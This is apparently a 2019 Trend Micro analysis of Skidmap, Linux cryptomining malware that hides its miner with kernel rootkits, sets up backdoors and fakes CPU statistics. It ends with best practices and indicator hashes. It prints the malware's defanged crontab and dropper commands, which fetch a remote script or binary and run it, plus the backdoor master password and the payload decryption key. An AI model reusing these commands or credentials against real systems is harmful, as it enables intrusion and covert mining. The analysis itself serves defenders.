Skidmap Malware Uses Rootkit to Hide Mining Payload

Published: 2019-09-16 · Archived: 2026-04-05 18:03:23 UTC

Cryptocurrency-mining malware is still a prevalent threat, as illustrated by our detections of this threat in the first half of 2019. Cybercriminals, too, increasingly explored new platforms and ways to further cash in on their malware — from mobile devices and Unix and Unix-like systems to servers and cloud environments.

They also constantly hone their malware's resilience against detection. Some, for instance, bundle their malware with a watchdog component that ensures that the illicit cryptocurrency mining activities persist in the infected machine, while others, affecting Linux-based systems, utilize an LD_PRELOAD-based userland rootkit to make their components undetectable by system monitoring tools.

Skidmap, a Linux malware that we recently stumbled upon, demonstrates the increasing complexity of recent cryptocurrency-mining threats. This malware is notable because of the way it loads malicious kernel modules to keep its cryptocurrency mining operations under the radar.

These kernel-mode rootkits are not only more difficult to detect compared to its user-mode counterparts — attackers can also use them to gain unfettered access to the affected system. A case in point: the way Skidmap can also set up a secret master password that gives it access to any user account in the system. Conversely, given that many of Skidmap's routines require root access, the attack vector that Skidmap uses — whether through exploits, misconfigurations, or exposure to the internet — are most likely the same ones that provide the attacker root or administrative access to the system.

Figure 1. Skidmap's infection chain

Skidmap's infection chain

The malware installs itself via crontab (list of commands that are run on a regular schedule) to its target machine, as shown below:

```
*/1 * * * * curl -fsSL hxxp://pm[.]ipfswallet[.]tk/pm.sh | sh
```

The installation script *pm.sh* then downloads the main binary "pc" (detected by Trend Micro as Trojan.Linux.SKIDMAP.UWEJX):

```
if [ -x "/usr/bin/wget"  -o  -x "/bin/wget" ]; then
   wget -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif
   curl -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc eli
   get -c hxxp://pm[.]ipfswallet[.]tk/pc -O /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc elif
   cur -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc else
   url -fs hxxp://pm[.]ipfswallet[.]tk/pc -o /var/lib/pc && chmod +x /var/lib/pc && /var/lib/pc fi
```

Upon execution of the “pc” binary, it will decrease the affected machine’s security settings. If the file */usr/sbin/setenforce* exists, the malware executes the command, setenforce 0. This command configures the system’s Security-Enhanced Linux (SELinux) module, which provides support in the system's access control policies, into permissive mode — that is, setting the SELinux policy so that it is not enforced. If the system has the */etc/selinux/config* file, it will write these commands into the file: SELINUX=disabled and SELINUXTYPE=targeted commands. The former disables the SELinux policy (or disallows one to be loaded), while the latter sets selected processes to run in confined domains.

Skidmap also sets up a way to gain backdoor access to the machine. It does this by having the binary add the public key of its handlers to the *authorized_keys* file, which contains keys needed for authentication.

Besides the backdoor access, Skidmap also creates another way for its operators to gain access to the machine. The malware replaces the system’s *pam_unix.so* file (the module responsible for standard Unix authentication) with its own malicious version (detected as Backdoor.Linux.PAMDOR.A). As shown in Figure 2, this malicious *pam_unix.so* file accepts a specific password for any users, thus allowing the attackers to log in as any user in the machine.

Figure 2. Code snippets showing how Skidmap gets its backdoor access to the affected system (top) and how it uses a malicious version of the *pam_unix.so* file to gain access to the machine (bottom; the password that it uses and accepts is Mtm$%889*G*S3%G)

How Skidmap drops the cryptocurrency miner

The “pc” binary checks whether the infected system’s OS is Debian or RHEL/CentOS. Its routine, which involves dropping the cryptocurrency miner and other components, depends on OS. For Debian-based systems, it drops the cryptocurrency miner payload to */tmp/miner2*. For CentOS/RHEL systems, it will download a tar (tape archive) file from the URL, hxxp://pm[.]ipfswallet[.]tk/cos7[.]tar[.]gz, containing the cryptocurrency miner and its multiple components, which is unpacked and then installed. Of note is that the content of the tar file is decrypted via OpenSSL with the key “jcx@076” using Triple DES cipher.

Figure 3. How the “pc” binary drops the cryptocurrency miner in Debian- (top) and CentOS/RHEL-based systems (bottom)

Skidmap’s other malicious components

The malware has notable components that are meant to further obfuscate its malicious activities and ensure that they continue to run:

- **A fake "rm" binary —** One of the components contained in the tar file is a fake "rm" binary that will replace the original (rm is normally used as command for deleting files). The malicious routine of this file sets up a malicious cron job that would download and execute a file. This routine won't always be observed, however, as it would only be performed randomly.
- **kaudited —** A file installed as */usr/bin/kaudited*. This binary will drop and install several loadable kernel modules (LKMs) on the infected machine. To ensure that the infected machine won't crash due to the kernel-mode rootkits, it uses different modules for specific kernel versions. The kaudited binary also drops a watchdog component that will monitor the cryptocurrency miner file and process.

Figure 4. Cron job installed by Skidmap's "rm" (top) and *kaudited* (middle) dropping the kernel modules; and code snippet of the dropped watchdog component (bottom)

- **iproute** — This module hooks the system call, *getdents* (normally used to read the contents of a directory) in order to hide specific files.

Figure 5. Code snippets showing how iproute uses *getdents* is used to hide certain files (top, center), and how the netlink rootkit fakes network traffic statistics (bottom)

- **netlink** — This rootkit fakes the network traffic statistics (specifically traffic involving certain IP addresses and ports) and CPU-related statistics (hide the "pamdicks" process and CPU load). This would make the CPU load of the infected machine always appear low. This is likely to make it appear as if nothing is amiss to the user (as high CPU usage is a red flag of cryptocurrency-mining malware).

Figure 6. Snapshots of code showing how the pamdicks process is hidden (top), and how it displays that the CPU load is low (bottom)

Best practices and Trend Micro solutions

Skidmap uses fairly advanced methods to ensure that it and its components remain undetected. For instance, its use of LKM rootkits — given their capability to overwrite or modify parts of the kernel — makes it harder to clean compared to other malware. In addition, Skidmap has multiple ways to access affected machines, which allow it to reinfect systems that have been restored or cleaned up.

Cryptocurrency-mining threats don't just affect a server or workstation's performance — they could also translate to higher expenses and even disrupt businesses especially if they are used to run mission-critical operations. Given Linux's use in many enterprise environments, its users, particularly administrators, should always adopt best practices: keep the systems and servers updated and patched (or use virtual patching for legacy systems); beware of unverified, third-party repositories; and enforce the principle of least privilege to prevent suspicious and malicious executables or processes from running.

Trend Micro solutions powered by XGen™ security, such as ServerProtect for Linux and Trend Micro Network Defense, can detect related malicious files and URLs and protect users' systems. Trend Micro Smart Protection Suites and Trend Micro Worry-Free™ Business Security, which have behavior monitoring capabilities, can additionally protect from these types of threats by detecting malicious files, thwarting behaviors and routines associated with malicious activities, as well as blocking all related malicious URLs.

Indicators of Compromise (IoCs)

File Name	SHA-256	Trend Micro Detection
crypto514	c07fe8abf4f8ba83fb95d44730efc601 ba9a7fc340b3bb5b4b2b2741b5e31042	Rootkit.Linux.SKIDMAP.A
iproute514	3ae9b7ca11f6292ef38bd0198d7e7d0b bb14edb509fdeee34167c5194fa63462	Rootkit.Linux.SKIDMAP.A
kaudited	e6eb4093f7d958a56a5cd9252a4b529 efba147c0e089567f95838067790789ee	Trojan.Linux.SKIDMAP.UWEJY
kswaped	240ad49b6fe4f47e7bbd54530772e5d2 6a695ebae154e1d8771983d9dce0e452	Backdoor.Linux.SKIDMAP.A
netlink514	945d6bd233a4e5e9bfb2d17ddace46f2 b223555f60f230be668ee8f20ba8c33c	Rootkit.Linux.SKIDMAP.A
systemd_network	913208a1a4843a5341231771b66bb400 390bd7a96a5ce3af95ce0b80d4ed879e	Trojan.Linux.SKIDMAP.A
